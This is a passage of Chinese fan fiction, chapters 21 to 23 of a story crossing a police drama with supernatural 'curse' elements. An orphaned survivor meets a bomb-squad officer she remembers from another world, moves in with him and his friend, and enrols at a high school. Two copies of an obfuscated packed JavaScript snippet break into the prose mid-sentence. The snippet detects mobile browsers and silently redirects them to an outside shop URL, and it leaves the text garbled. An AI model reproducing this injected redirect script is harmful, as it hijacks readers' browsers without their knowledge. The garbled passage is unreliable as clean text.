一个男人坐在靠窗的椅子上,脊背挺得笔直,身上的警服带着些许褶皱,袖口随意地挽到小臂,露出线条流畅的手腕。他微微低着头,额前的碎发垂下来,遮住了部分眉眼,只能看到紧抿的唇线和下颌清晰的弧度。阳光透过玻璃窗斜斜照进来,在他周身镀上一层浅金色的光晕,竟冲淡了警服自带的凛冽感,添了几分柔和。 这身影……怎么会是他? 鎏汐的心脏像是被一只无形的手狠狠攥住,骤然缩紧,连呼吸都滞涩了几分。不是因为警服的肃穆感,而是因为这个身影——额前垂落的碎发、紧抿的唇线、挽起袖口时露出的手腕线条,每一处都和记忆深处那个身影完美重合。那是她上个任务世界里,并肩走过生死的伙伴,松田阵平。可这里是全新的任务世界,她清楚地知道,这个世界的他,根本不认识自己。脑海里瞬间炸开两重画面:一边是上个世界他拆弹时专注的侧脸、游乐园里漫不经心的笑容;另一边是此刻养父母倒在血泊里的惨状,两种画面交织碰撞,让她头晕目眩,指尖不受控制地蜷缩起来。她不能相认,这个念头像根紧绷的弦,死死拽着她的理智。 她强行压下心头的惊涛骇浪,指尖因为用力而微微蜷缩,喉咙里涌上的熟悉名字被死死咽了回去。她张了张嘴,声音沙哑得像是被砂纸磨过,刻意放低了音量,带着刚苏醒的虚弱与恰到好处的惶恐:“你是……谁?为什么会在这里?” 话音刚落,那原本低着头的男人就猛地抬起了头。他的动作带着执行任务时特有的警惕,目光锐利得像淬了冰的刀,扫过她的脸时,才稍稍收敛了几分锋芒,多了一丝确认“幸存者苏醒”的沉稳。 四目相对的瞬间,鎏汐的心脏又是一阵剧烈跳动。是他,真的是他。那双深邃的墨色眼眸,和记忆里一模一样,只是此刻里面没有丝毫熟悉的温度,只有纯粹的审视与探究。她下意识地缩了缩肩膀,避开他的目光,指尖攥得更紧了,指甲几乎要嵌进掌心。她必须扮演好“一无所知的幸存者”,半点破绽都不能露。 他眼底布满了红血丝,显然是连日奔波未曾好好休息,警服上的褶皱和袖口挽起的弧度,都透着一股干练又疲惫的气场。鎏汐的目光忍不住在他脸上多停留了半秒,记忆里他拆弹后疲惫却明亮的眼神与此刻的模样重叠,心头泛起一阵酸涩,她连忙收回目光,强迫自己别过脸——这里不是上个世界,他们之间,本就是陌生人。 “你醒了就好。” 男人的声音沙哑却有力,没有半分柔和,带着公事公办的冷静。他往前倾了倾身体,指尖搭在膝盖上,姿态挺拔而克制,没有任何越界的动作:“我是警视厅□□处理班的松田阵平,负责跟进夏油家灭门案的相关调查。” “夏油家……”这三个字像一把冰冷的刀,瞬间刺穿了她强装的镇定,也暂时压下了重逢旧识的悸动。鎏汐的眼眶猛地一热,眼泪毫无预兆地涌了上来,顺着脸颊滑落,滴在白色的枕套上,晕开一小片湿痕。她借着悲伤的情绪,将心头的慌乱彻底掩盖,满脑子都切换成“幸存者”的视角——养父母倒在客厅里的模样,空气中挥之不去的血腥味,还有此刻无依无靠的绝望。 她想说话,想问问养父母的情况,想知道凶手有没有被抓到,可喉咙像是被堵住了一样,只能发出细碎的呜咽声。三年的安稳像泡沫一样碎裂,突如其来的灭门惨案、养父母冰冷的尸体,还有这陌生世界里无依无靠的自己……所有的委屈、恐惧和绝望,都顺着泪水肆意流淌。 松田阵平看着她哭,眉头微微蹙起,没有急着追问,也没有说多余的安慰话。他从口袋里掏出一方干净的手帕,递到她手边,动作克制而疏离,没有任何肢体接触:“先别哭,你的身体还很虚弱。”鎏汐的目光落在那方手帕上,鼻尖隐隐闻到一丝熟悉的薄荷味——和上个世界他常用的手帕味道一模一样。心头又是一阵翻涌,她飞快地收回目光,抬手接过手帕,指尖刻意避开了他的触碰。 她攥着帕子捂在脸上,哭声渐渐小了些,却还是止不住地抽噎。这哭声里,一半是失去养父母的真切悲伤,另一半则是重逢旧识却不能相认的委屈与茫然。松田阵平重新坐回椅子上,没有再看她,而是从桌上拿起一个文件夹,指尖在封面上轻轻敲击着,像是在给她留出平复情绪的时间,又像是在梳理案情。病房里的冷寂被她的抽噎声打破,却又因男人的沉默而多了几分压抑。鎏汐透过手帕的缝隙,偷偷抬眼看他,看着他专注梳理案情的侧脸,记忆与现实再次交织,心头像被什么东西堵着,闷得发慌。 “我知道你现在很难过,但有些情况,需要你配合说明。”等她的抽噎声渐渐平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007651|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,松田阵平才重新开口,语气依旧是公事公办的冷静,却刻意放低了些许音量,“当然,如果你现在状态不好,我们可以改日。” 鎏汐摇了摇头,用手帕擦了擦通红的眼睛,深吸了一口气,努力让自己的声音听起来平稳又带着悲伤后的虚弱。配合调查是现在唯一能做的事,也是掩盖自己异常的最好方式。她抬起头,重新看向松田阵平,眼底还带着未散的红血丝,眼神里满是“幸存者”的无助,还有一丝强撑着的镇定:“你想知道什么?” 松田阵平翻开文件夹,目光落在里面的资料上,指尖指着其中一页:“案发当天下午,你去了哪里?什么时候回到家的?” 鎏汐的眼神暗了暗,努力回忆着案发当天的细节,情绪不自觉地低落下来:“我下午去了附近的书店,想买几本习题册。大概……大概五点半左右往家走,回到家的时候,就看到……”说到这里,她的声音又开始发颤,眼前再次浮现出那血腥的一幕,恐惧顺着脊椎往上爬,“就看到爸爸妈妈……倒在客厅里,我吓得腿软,想打电话报警,结果刚拿起手机,就被人从后面打晕了。” 她的声音带着无法抑制的恐惧,身体也微微颤抖起来。松田阵平抬眼看了她一眼,注意到她苍白的脸色和紧绷的身体,没有继续追问细节,而是换了个问题:“你有没有看到袭击你的人的样子?或者听到什么特别的声音?” 鎏汐用力摇了摇头,眼里满是无助:“没有……我刚进门,注意力全在爸爸妈妈身上,根本没注意后面有人。他力气很大,我只感觉到后脑勺一阵剧痛,就什么都不知道了。”她努力回想,却只能记起那瞬间的剧痛和随之而来的黑暗,没有任何有用的线索。 松田阵平沉默了几秒,指尖在文件夹上轻轻划了一下,继续问道:“你养父母最近有没有和什么人结仇?或者接触过什么特别的人?” “没有。”鎏汐很肯定地回答,语气里带着一丝茫然,“爸爸妈妈人很好,平时就是经营一家小杂货店,和邻居们相处得都很和睦,从来没听说过他们和谁吵架或者结仇。”这三年来,养父母待她温柔体贴,家里的日子平淡却安稳,她实在想不出,为什么会有人对他们下此毒手。 松田阵平点了点头,将她的回答记录在文件夹上,字迹刚劲有力——和上个世界他写报告时的字迹一模一样。鎏汐的目光落在他的笔尖上,心头泛起一阵难以言喻的酸楚。他没有再多问,合上文件夹,站起身:“我知道的差不多了。你先好好休息,后续如果想起什么,随时可以联系我。”他从口袋里掏出一张名片,放在床头的柜子上,“这是我的联系方式。”鎏汐的视线紧紧盯着那张名片,“松田阵平”四个字像细小的针,轻轻刺着她的眼睛,这是她在两个世界里,唯一能确认他身份的标识。 就在这时,病房门被轻轻推开了。一个穿着粉色护士服的年轻女孩端着托盘走了进来,托盘里放着药水和棉签。看到松田阵平站起身,她脚步顿了顿,随即露出了一个温和的笑容,放轻了脚步:“松田警官还在啊?” 是铃木麻美,负责照料鎏汐的护士。她这几天经常看到松田阵平过来询问病情,知道他是负责这起案件的警察。 “刚问完情况,准备走了。”松田阵平点了点头,语气简洁。铃木麻美走到床边,笑着对鎏汐说:“你醒啦?感觉怎么样?我先给你换个药,再输点营养液,你刚醒,身体还很虚弱。” 鎏汐轻轻“嗯”了一声,没有说话,只是将目光落在被子上,指尖悄悄蜷缩起来。看着他转身的背影,心脏像是被掏空了一块——明明是熟悉的人,却要装作陌生人,这种滋味比独自面对惨案还要难受。松田阵平看了她一眼,又对铃木麻美说了句“麻烦你多照顾她”,便转身朝门口走去,脚步沉稳,没有丝毫留恋。直到病房门被轻轻带上,鎏汐才缓缓松了口气,紧绷的身体瞬间垮了下来,眼眶又开始发热,这一次的眼泪,不再是因为养父母的离世,而是因为重逢后的疏离与隐忍。 铃木麻美手脚麻利地为鎏汐处理了额角的伤口,又熟练地扎上输液针。她的动作很轻,几乎没有疼痛感。一边操作,一边轻声安慰道:“别害怕,警察已经在全力调查了,一定会抓到凶手的。你现在最重要的就是好好养身体。” 鎏汐点了点头,心里却乱成一团麻。她看着床头那张印着“松田阵平”名字的名片,指尖微微颤抖。这个名字,是她在上个世界最安心的依靠,可在这个世界,却成了她必须刻意回避的存在。她很清楚,自己不能主动找他,不能暴露任何关于穿越和系统的秘密,可看着这张名片,又忍不住生出一丝奢望——或许,在这个危险的世界里,他会是她唯一的变数?这个念头刚冒出来,就被她强行压下,她用力咬了咬下唇,将那点奢望咽了回去。 换完药后,铃木麻美收拾好托盘,又叮嘱了几句注意事项,才笑着退了出去。病房里再次安静下来,只剩下输液管里液体滴落的“滴答”声。 鎏汐躺在床上,侧过头看向窗外。阳光渐渐西斜,透过玻璃窗洒在地板上,拉出长长的光影。她的思绪又回到了案发当天,那些血腥的画面挥之不去,让她浑身发冷。 她不知道凶手是谁,也不知道自己接下来该怎么办。养父母不在了,她在这个世界上再无依靠。迷茫和恐惧像潮水一样将她淹没,她紧紧攥着被子,指尖泛白,连呼吸都带着凉意。 不知过了多久,她的目光重新落回那张名片上。“松田阵平……”她轻轻念出这个名字,声音微弱得几乎听不见,尾音带着一丝自己都未察觉的哽咽。她不是不知道这个世界的他是唯一的希望,可那层“不能相认”的隔阂牢牢挡着她,让她连靠近都不敢。 她缓缓伸出手,拿起那张名片。卡片的材质很厚实,上面的字迹和他的人一样,带着一种不容置疑的力量——和上个世界他递给她的紧急联络卡,质感惊人地相似。鎏汐将名片紧紧攥在手里,卡片的棱角硌得手心发疼,却也让她混乱的心绪稍稍安定。她盯着卡片上的名字,指尖轻轻摩挲着,心里乱糟糟的:养父母的仇要报,自己也要好好活下去,可没有依靠的路,该怎么走下去? 输液管里的液体还在缓缓滴落,病房里的空气依旧安静,却不再是之前的温暖,而是带着一种冰冷的茫然。鎏汐闭上眼睛,脑海里不再只有悲伤和恐惧,还有一团理不清的乱麻,缠绕着她的思绪。 而此刻,病房外的走廊上,松田阵平正站在窗边,指尖夹着一支未点燃的香烟。他看着窗外渐渐沉下去的夕阳,眉头紧紧蹙着。夏油家的案子疑点重重,没有目击者,没有作案动机,现场几乎没有留下任何有价值的线索,唯一的幸存者鎏汐,也没能提供有用的信息。 “鎏汐……”他低声念着这个名字,回想起病房里那个女孩通红的眼睛和颤抖的身体,眼底闪过一丝不易察觉的凝重。他总觉得,这个女孩身上,似乎藏着什么不为人知的东西——她的悲伤很真切,可偶尔闪过的眼神里,却有超越年龄的隐忍和慌乱,像是在刻意掩盖什么。而这东西,或许和这起灭门案,有着某种隐秘的联系。 22.第 22 章 消毒水的味道像一张细密的网,缠在鎏汐的鼻尖。她靠在床头,指尖无意识地摩挲着纯棉病号服的布料,粗糙的纹理让混沌的思绪勉强沉淀了几分。病房里很静,只有窗外梧桐叶被风拂动的沙沙声,还有不远处护士站传来的细碎交谈,这些声音隔着一层朦胧的屏障,显得遥远又不真切。 松田阵平就坐在对面的椅子上,警服外套随意搭在椅背上,露出里面熨帖的白色衬衫,领口松了两颗扣子,透着几分漫不经心的桀骜。他没说话,指尖夹着一支未点燃的烟,目光落在窗外,侧脸的线条锋利又流畅——和记忆里那个在爆炸火光中对她笑的男人,一模一样。 鎏汐的心脏又开始不受控制地抽痛。不是伤口的疼,是那种隔着时空、跨越生死的钝痛。她记得他们在柯南世界的每一个清晨,记得他熬夜分析案件时蹙起的眉,记得他咬着棒棒糖说“麻烦”却还是顺手帮她解决麻烦的模样,记得最后那声震耳欲聋的爆炸,和他留在她掌心的温度。可眼前的这个松田阵平,眼底没有和她相守半生的熟稔,只有一种对陌生人的礼貌疏离,偶尔看向她时,眼神里还带着一丝探究。 “你醒后还没怎么说话,身体能撑住吗?”松田阵平先打破了沉默,声音低沉,带着刚从外勤回来的沙哑。他收回目光,落在鎏汐苍白的脸上,视线短暂地扫过她还贴着纱布的额头,语气算不上温和,却也没有不耐烦。 鎏汐点了点头,喉咙干涩得发疼,她咽了口唾沫,才勉强挤出声音:“还好……谢谢你。” “不用谢我,我是接到报警才去的现场。”松田阵平指尖转了转那支烟,语气里多了几分不易察觉的凝重,说起了前因后果,“报警的是夏油家的邻居,一个叫田中雅子的女人。她说听到你们家里有巨响,还有女人的哭声,担心出了事,就打了报警电话。另外,你可能不知道——夏油家所在的这栋公寓,就是三天前发生爆炸案的那栋。” 鎏汐的指尖猛地收紧,指甲嵌进掌心,带来一阵尖锐的痛感。田中雅子……那个总带着自制点心来串门,笑着夸她清秀的温柔主妇。原来在她被剧痛和绝望淹没的时候,是这个熟悉的邻居伸出了援手。可她的养父母,终究还是没能等到救援。 病房里的空气仿佛又冷了几分,窗外的风声也变得凄厉起来,像是在诉说着那个夜晚的惨烈。松田阵平的指尖猛地攥紧了那支未点燃的烟,指节泛白,他顿了顿,声音里带着一丝压抑的沉郁:“我和同事赶到的时候,现场已经一片狼藉。餐桌被掀翻了,寿喜烧的汤汁洒了一地,还有……大片的血迹。而那天,本是我那位幼驯染——萩原研二的出警任务,他要去这栋公寓处理突发险情。” 他没有说更多血腥的细节,可鎏汐的脑海里已经自动浮现出了当时的画面。养父母冰冷的身体,嘴角残留的黑色咒力,还有桌布上那片刺目的红。她的胸口像是被一块巨石压住,闷得喘不过气,眼泪不受控制地涌了上来,顺着脸颊滑落,滴在病号服上,晕开一小片深色的水渍。 她不想在他面前失态,可巨大的悲痛像潮水般将她淹没,根本无法抑制。她偏过头,用手背用力擦着眼泪,肩膀控制不住地颤抖。 松田阵平看着她颤抖的背影,眉头微微蹙起。他见过太多生离死别,本该早已麻木,可看着这个刚从鬼门关走了一遭的女孩,他心里竟莫名地升起了一丝不忍。他站起身,从桌上抽了几张纸巾,递到她面前:“先擦擦吧。” 鎏汐接过纸巾,指尖碰到他的指腹,那一瞬间的温度让她浑身一僵。是熟悉的温度,和记忆里一模一样。她猛地缩回手,将脸埋在纸巾里,压抑的哭声从喉咙里溢出来,细细碎碎的,却带着无尽的绝望。 松田阵平没再说话,只是默默地站在一旁,给她留了足够的空间。直到她的哭声渐渐小了下去,他才重新坐回椅子上,语气比刚才柔和了一些,却带着难以掩饰的郑重:“关于你身上的异常,我知道你可能不想多说。但有件事,我必须告诉你——你或许间接救了一个人,就是我的幼驯染,萩原研二。” 鎏汐抬起头,红肿的眼睛里还带着泪光,茫然地看着他。 “三天前这栋公寓出了意外,有不法分子安置了危险装置。”松田阵平的眼神沉得像深潭,语气里藏着未散的戾气,却刻意模糊了关键细节,“按照当时的情况,我的幼驯染萩原研二正好在核心区域附近,本是避不开的。可就在危险装置被触发的前一分钟,你在夏油家爆发了那股金色能量——” 鎏汐的心猛地一跳,隐约猜到了什么。 “但他活下来了。”松田阵平的目光落在她的脸上,不再是单纯的探究,多了几分复杂的感激,“那股金色能量不仅笼罩了夏油家,还扩散到了公寓的其他区域,恰好干扰了危险装置的触发程序,让它延迟了一分钟启动。就这一分钟,给了研二撤离的机会。他说当时确实看到一道金色的光扫过走廊,还以为是错觉,直到在夏油家见到你,检测到你身上残留的能量波动。” 他顿了顿,指尖的烟已经被攥得变了形,语气却缓和了不少:“我本来以为是他受了惊吓产生的幻觉,直到在夏油家见到你。你身上的能量波动,和他描述的那道金光完全吻合。鎏汐,你救了他。” 鎏汐愣住了。她想起了记忆复苏时,体内爆发的那股金色灵力,当时只想着净化夏油杰身边的特级咒灵,护住养父母,没想到那股力量竟扩散了出去,还干扰了危险装置的触发程序,救下了松田阵平最重要的幼驯染。萩原研二……那个在记忆里总是笑着喊松田“阵平”的温柔男人,那个本该在意外中离世的人,因为她的缘故活了下来。心脏猛地一缩,不是疼,是一种难以言喻的悸动,像是在荒芜的时光里,无意间补上了一块曾经缺失的碎片。 心里刚升起一丝微弱的暖意,就被松田阵平接下来的话彻底浇灭了。 “还有一件事,我得告诉你。”松田阵平的语气重新变得沉重,他看着鎏汐苍白的脸,眼神里多了几分愧疚,“我们查到,你在这个城市的临时住处,就在这栋公寓的同一层,紧挨着研二当时排查的区域。那场延迟后的爆炸威力依旧很大,你的住处……被彻底烧毁了。” “烧毁了……”鎏汐喃喃地重复着这几个字,像是没听懂一样。她的大脑一片空白,只剩下这几个字在耳边回荡。 那是系统给她安排的临时住处,是她在这个陌生世界的第一个落脚点。虽然她因为失忆,很少回去住,可那里存放着她来到这个世界时的所有东西,是她和“玥涵”这个身份仅存的联系。现在,连这个落脚点也没了。 松田阵平看着她失魂落魄的样子,继续说道:“消防队员清理现场的时候,没有找到任何能抢救出来的东西。你的所有东西,都没了。” 所有东西,都没了。 鎏汐低下头,看着自己的双手。这双手,曾经被养父母温柔地牵过,曾经接过田中雅子递来的点心,曾经在记忆里,被松田阵平紧紧地握在掌心。可现在,这双手什么都抓不住。 养父母没了,家没了,连仅存的一点东西也没了。她刚找回自己的身份,就成了一个彻底无家可归的人。身无分文,举目无亲,在这个充满咒灵和危险的世界里,她像一叶漂浮在海上的孤舟,不知道该漂向哪里。 绝望像冰冷的海水,再次将她淹没。她的眼神一点点黯淡下去,原本因为重逢而燃起的微弱希望,也在这一刻彻底熄灭了。 松田阵平将她的失魂落魄尽收眼底,心里的愧疚更重了。若不是她爆发能量救了研二,或许那场意外不会延迟,可也正因如此,她的住处才会被波及烧毁,落得无家可归的下场。他沉默了片刻,喉结滚动了一下,伸出手,僵硬却坚定地拍了拍她的肩膀——这个动作带着笨拙的安抚,也藏着明确的责任,“你救了研二,这份恩情我记着。你现在无家可归,身体也还没好,先跟我走。我那里有空房间,你可以先住着,等身体恢复了再说。” “别担心。”他的声音不大,却带着一种不容置疑的坚定,像是在许下一个郑重的承诺。 鎏汐抬起头,怔怔地看着他。眼前的这个男人,和记忆里的轮廓完美重合,一样的眉眼,一样的声线,连指尖夹烟的小动作都分毫不差,可眼底却没有半分相守半生的熟稔,只有对陌生人的疏离,以及一丝她能读懂的、源于恩情的愧疚与担当。 心里的绝望渐渐消散了一些,取而代之的是一种复杂的情绪。有感激,有委屈,还有一丝连她自己都没察觉到的依赖。她看着松田阵平眼底的红血丝——她知道,他从她被送进医院就一直守着,肯定没怎么合眼。 她张了张嘴,想说点什么,却发现喉咙还是发紧,一个字也挤不出来。只能默默地看着他,眼泪又开始不听话地往下掉。这一次,不是因为绝望,而是在无边黑暗里踽踽独行许久后,突然撞进了一束带着温度的光。 病房里又恢复了安静,只剩下两人交叠的呼吸声,还有窗外偶尔掠过的风声。阳光透过窗棂洒进来,落在松田阵平的侧脸上,给他锋利的轮廓镀上了一层柔和的光晕。 消毒水的味道还没完全从鼻腔里散去,鎏汐靠在床头,指尖无意识地摩挲着被角。 三天前,她还是夏油家被精心呵护的养女,有温热的寿喜烧可吃,有向日葵盛开的小院可待;而现在,养父母不在了,三年的安稳成了泡影,连系统留下的最后一点念想,也被爆炸烧得干干净净。这个世界于她而言,突然变得无比空旷,她像一株被狂风拔起的野草,不知道该往哪里扎根。 松田阵平就坐在对面的椅子上,没再说话,只是把那支始终没点燃的烟放回了口袋。他似乎在刻意给她留空间,目光落在窗外的梧桐树上,指尖轻轻敲击着椅面,发出规律的轻响。那声音不吵,反而像一种无声的陪伴,让鎏汐紧绷的神经稍稍松弛了些。 她偷偷抬眼望他,阳光透过窗棂落在他的侧脸上,勾勒出锋利的下颌线。还是记忆里的模样,眉眼桀骜,神情带着几分漫不经心,可那双眼睛里,却藏着她熟悉的温柔底色——哪怕这份温柔,此刻只是对一个陌生受害者的怜悯。鎏汐的心脏轻轻抽痛了一下,既庆幸能再次见到他,又难过他早已不认识自己。 就在这时,“叩叩”两声轻响打破了病房的寂静。鎏汐猛地收回目光,转头看向门口,心脏下意识地绷紧——经历了夏油杰的背叛,她对陌生人的出现本能地带着警惕。 门被轻轻推开,一个穿着警服的男人走了进来。他身形挺拔,眉眼温和,嘴角噙着一抹恰到好处的笑意,手里提着一个深蓝色的保温桶,周身的气息温暖又松弛,瞬间驱散了病房里的沉郁。鎏汐紧绷的肩膀,不自觉地放松了些许。 “阵平,我给你带了点吃的,顺便来看看这位小姐。”男人的声音像春日里的微风,柔和又清晰。他的目光落在鎏汐身上时,带着一丝恰到好处的关切,没有过分探究,让人觉得很舒服。 松田阵平抬了抬眼,语气随意:“来了。”他转头看向鎏汐,简单介绍了一句,“这是萩原研二,我的同事,也是合租室友。” 萩原研二。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011910|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听到这个名字的瞬间,鎏汐的呼吸微微一顿。她当然认识他,在那个与松田阵平相守半生的世界里,她无数次听松田提起过这个幼驯染。记忆里,松田说起萩原时,语气总是带着几分嫌弃,却藏不住深处的在意——那是一起穿过警校时光的羁绊,是可以把后背交给对方的信任。 眼前的萩原研二,比记忆里更年轻些,笑容也更鲜活。他没有察觉到鎏汐的异样,径直走到病床边,把保温桶放在床头柜上,轻轻打开。一股温润的香气瞬间弥漫开来,是熬得软烂的粥香,夹杂着淡淡的山药清甜。 “听说你刚醒,肠胃还弱,我让家里人熬了点山药瘦肉粥,吃点清淡的垫垫肚子吧。”萩原研二从保温桶里拿出一个小巧的白瓷碗,盛了小半碗粥,又细心地吹了吹,确认温度合适后,才递到鎏汐面前,“小心烫。” 粥的温度透过瓷碗传来,带着暖意。鎏汐看着那碗冒着热气的粥,又看了看萩原研二温和的眉眼,鼻尖突然一酸。自从养父母离世后,她感受到的全是冰冷的背叛与绝望,这是第一次,有人用这样细致温柔的态度对待她。 她接过碗,指尖微微颤抖,轻声说了句:“谢谢。”声音还有些沙哑,却带着难以掩饰的哽咽。 “不用客气。”萩原研二笑了笑,目光在她脸上停留了一瞬,注意到她眼底的红血丝和未干的泪痕,眼神里多了几分心疼,却没有多问——他从松田那里隐约知道了些情况,知道这个女孩刚经历了灭门惨案,此刻最需要的是安静,而不是追问。 鎏汐低下头,小口小口地喝着粥。山药的绵密、瘦肉的鲜香,在口腔里慢慢散开,温暖的粥顺着喉咙滑下去,熨帖了空荡荡的胃,也让冰冷的心底,悄悄升起了一丝暖意。她喝得很慢,不是因为不好吃,而是想多感受一下这份难得的温暖。 松田阵平就坐在一旁,看着这一幕,没说话。他的目光落在鎏汐握着碗的手上,那双手纤细苍白,指节因为用力而泛白,像易碎的瓷。他想起在夏油家看到的场景,大片的血迹、倒在地上的老人、还有被咒力击穿的桌布,心脏莫名地沉了沉。这个女孩,明明经历了那么可怕的事,却在喝到一碗热粥时,露出了这样脆弱又依赖的模样。 等鎏汐喝完小半碗粥,把碗递还给萩原研二时,松田阵平终于开口了。他的语气依旧是那种漫不经心的调子,却带着不容置疑的笃定:“你现在无家可归,身体也还没好,不如先跟我住在一起。” 鎏汐猛地抬起头,怔怔地看着松田阵平,眼里满是惊讶。她完全没料到松田会提出这样的提议,一时竟忘了反应。 “我和研二合租的公寓还有一间空房,收拾一下就能住。”松田阵平避开她的目光,看向窗外,指尖又开始无意识地敲击着椅面,像是在掩饰什么,“你不用有心理负担,就当是……我报答你之前救了研二的恩情。” 他说得轻描淡写,仿佛只是在完成一件简单的交易。可鎏汐却知道,这不是交易。松田阵平从来都是这样,嘴上说着嫌弃的话,做的却是最温柔的事。记忆里,他也是这样,明明担心她熬夜办案伤身体,却只会别扭地丢给她一杯热咖啡,说一句“麻烦,别死在工作上”;明明在意她受了伤,却只会皱着眉骂她不小心,然后默默帮她处理伤口。 一股复杂的情绪涌上心头,有感动,有委屈,还有一丝不敢置信。她张了张嘴,想拒绝——她知道自己是个麻烦,刚经历了那样的事,身上还带着不明的力量,留在松田身边,说不定会给他们带来危险。 “这样会不会太麻烦你们了?”她的声音很轻,带着犹豫,“我……我可以自己想办法的。” “不麻烦不麻烦!”没等松田开口,萩原研二就抢先摆了摆手,笑着说,“多个人热闹着呢!我们那公寓就我和阵平两个大男人住,平时冷清得很。你住进来正好,还能给我们添点人气。” 他说着,还转头看了松田阵平一眼,眼神里带着一丝狡黠的调侃:“再说了,有你在,说不定还能管管阵平。这小子总把工作带回家,熬夜分析案件是常事,劝都劝不听。你住进来,正好帮我们盯着点他,让他按时吃饭睡觉。” 松田阵平皱了皱眉,瞪了萩原研二一眼,语气不善:“多管闲事。” 可他却没有反驳萩原的提议,只是别过脸,继续看着窗外,耳根却悄悄泛起了一丝不易察觉的微红。 鎏汐看着他们之间默契的互动,看着松田阵平别扭的模样,看着萩原研二温和的笑容,心里的犹豫渐渐消散了。她知道,他们是真心想帮她。在这个举目无亲的世界里,这两个她曾经无比熟悉的人,成了她唯一的依靠。 她想起松田阵平守在病房外的疲惫身影,想起萩原研二送来的热粥,想起记忆里两人并肩作战的模样。眼泪又开始不听话地涌上来,这一次,不是因为绝望,而是因为感动,因为在无边的黑暗里,终于有人向她伸出了手,给了她一束可以停靠的光。 鎏汐吸了吸鼻子,努力把眼泪憋回去,抬起头,看着松田阵平和萩原研二,眼神里带着坚定,也带着感激。她轻轻点了点头,声音虽然轻柔,却无比清晰:“好,谢谢你们。” 听到她答应,萩原研二脸上的笑容更灿烂了:“太好了!等你身体好点,我们就接你过去。房间我会提前帮你收拾好,你放心。” 松田阵平也转过头,看向她。他的眼神不再像之前那样疏离,而是多了几分柔和,嘴角也微微勾起了一个浅淡的弧度——那是鎏汐无比熟悉的笑容,带着几分漫不经心,却藏着真切的安心。 23.第 23 章 清晨的风带着初秋的凉意,拂过帝丹高中门口的梧桐树梢,落下细碎的光影。鎏汐站在刻着“帝丹高中”四字的校门前,指尖无意识地摩挲着蓝白校服的袖口——这是松田阵平昨天特意抽时间陪她挑的,面料柔软,版型合身,穿在身上,竟让她生出几分久违的安稳感。 口袋里的牛奶还带着余温,是萩原研二今早出门时塞给她的,温声叮嘱她“空腹上学对肠胃不好”。这两个多月来,从医院到松田与萩原合租的公寓,她像一株被风雨摧残后,终于找到避风港的幼苗,被这两个熟悉又陌生的人,小心翼翼地呵护着。 只是这份安稳之下,藏着她不敢触碰的心事。养父母惨死的画面,夏油杰冰冷的眼神,还有眼前这个桀骜却温柔的拆弹警官——她记得上个世界与他相伴到老的每一个细节,记得他熬夜拆弹后疲惫的睡颜,记得他笨拙地为她煮红糖水时的慌乱,可他,却对她毫无记忆。 “夏油同学?”温和的女声在身侧响起,打断了鎏汐的思绪。她转过身,看到一位穿着米色西装套裙的中年女士,眉眼间带着和善的笑意,胸前的铭牌写着“教导主任佐藤晴子”。 “佐藤主任好。”鎏汐连忙收敛心神,微微鞠躬,声音还有些不易察觉的轻颤。经历了那场血色生辰夜,她对陌生人的靠近依旧带着本能的警惕,哪怕对方的气息足够温和。 佐藤晴子察觉到她的局促,脚步放缓了些,语气更显柔和:“不用紧张,跟我来吧,我带你去办理入学手续。”她的目光落在鎏汐略显苍白的脸颊上,眼底闪过一丝心疼——转学资料里写着,这个女孩刚经历了家庭变故,能重新走进校园,想必鼓足了很大的勇气。 办公室里的暖气很足,驱散了鎏汐身上的凉意。佐藤晴子一边核对资料,一边耐心地叮嘱着:“你的班级是高二B班,班主任小林老师人很好,同学们也都很友善。要是在学校觉得不舒服,或者有任何困难,随时可以来找老师,不用客气。” 鎏汐认真地点点头,轻声应道:“谢谢佐藤主任。” 跟着佐藤晴子走向教学楼时,鎏汐的心跳渐渐加快。她很久没有体验过校园生活了,记忆里最后一次坐在教室里,还是上个世界和松田一起补修大学课程的时候。那时他总是坐在她身边,看似在认真听课,指尖却会悄悄勾住她的手指,在桌下与她偷偷牵手。 高二B班的教室在三楼,刚走到走廊尽头,就能听到里面传来的喧闹声,带着少年少女独有的活力。鎏汐的脚步顿了顿,突然有些胆怯——她害怕自己融不进这样热闹的环境,害怕自己的过去会成为别人议论的焦点。 佐藤晴子似乎看穿了她的心思,轻轻拍了拍她的肩膀:“别怕,进去吧。” 小林澄子早已在教室门口等候,看到她们过来,笑着迎了上来。她拉着鎏汐的手走进教室,喧闹声瞬间像被按下暂停键般消失了,几十道目光齐刷刷地落在鎏汐身上,有好奇,有探究,也有善意。 鎏汐的脸颊微微发烫,下意识地低下头。直到小林澄子的声音响起:“这位是新转来的夏油鎏汐同学,大家欢迎。”她才抬起头,深吸一口气,微微鞠躬:“大家好,我是夏油鎏汐,请多指教。” 清脆的掌声响起,驱散了她心中的紧张。鎏汐抬起眼,目光下意识地扫过教室,恰好与窗边的一道温柔视线撞个正着。那是一个扎着高马尾的女生,穿着和她一样的蓝白校服,眉眼弯弯,眼神干净又温和,像春日里的暖阳,让人莫名觉得安心。 那就是毛利兰。鎏汐的心跳微微一顿——她记得这个女孩,在上个世界的零星记忆里,松田曾提起过,毛利兰是毛利小五郎的女儿,性格温柔,身手却很厉害。 小林澄子指了指毛利兰身边的空位:“夏油同学,你就坐在那里吧。” 鎏汐点点头,抱着书包走到空位旁。刚放下书包,身边的毛利兰就对她露出了一个友好的笑容:“你好,夏油同学,我叫毛利兰。” 